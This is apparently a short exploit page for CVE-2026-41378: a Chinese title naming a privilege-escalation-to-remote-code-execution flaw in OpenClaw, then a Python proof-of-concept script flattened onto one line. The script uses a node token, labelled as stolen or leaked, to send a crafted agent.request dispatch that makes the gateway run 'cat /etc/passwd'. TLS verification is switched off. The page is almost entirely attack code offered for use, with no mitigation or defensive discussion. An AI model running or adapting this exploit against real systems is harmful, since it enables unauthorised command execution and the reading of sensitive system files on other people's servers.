CVE-2026-41378 OpenClaw权限提升致远程代码执行漏洞

import requests import json def exploit_openclaw(target_url, node_token): """ PoC for CVE-2026-41378: OpenClaw Privilege Escalation via Unrestricted Agent Dispatch. This script demonstrates how a paired node can escalate privileges to RCE on the gateway. """ headers = { "Authorization": f"Bearer {node_token}", "Content-Type": "application/json", "User-Agent": "OpenClaw-Node/1.0" } # Malicious payload exploiting unrestricted agent.request dispatch # Attempting to execute a shell command on the gateway payload = { "node": "trusted_attacker_node", "type": "agent.request", "event": "system.exec", "params": { "command": "cat /etc/passwd", "args": [] } } try: response = requests.post(f"{target_url}/api/node/dispatch", headers=headers, json=payload, verify=False) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": target = "https://<openclaw-gateway-ip>" token = "<stolen_or_leaked_node_token>" exploit_openclaw(target, token)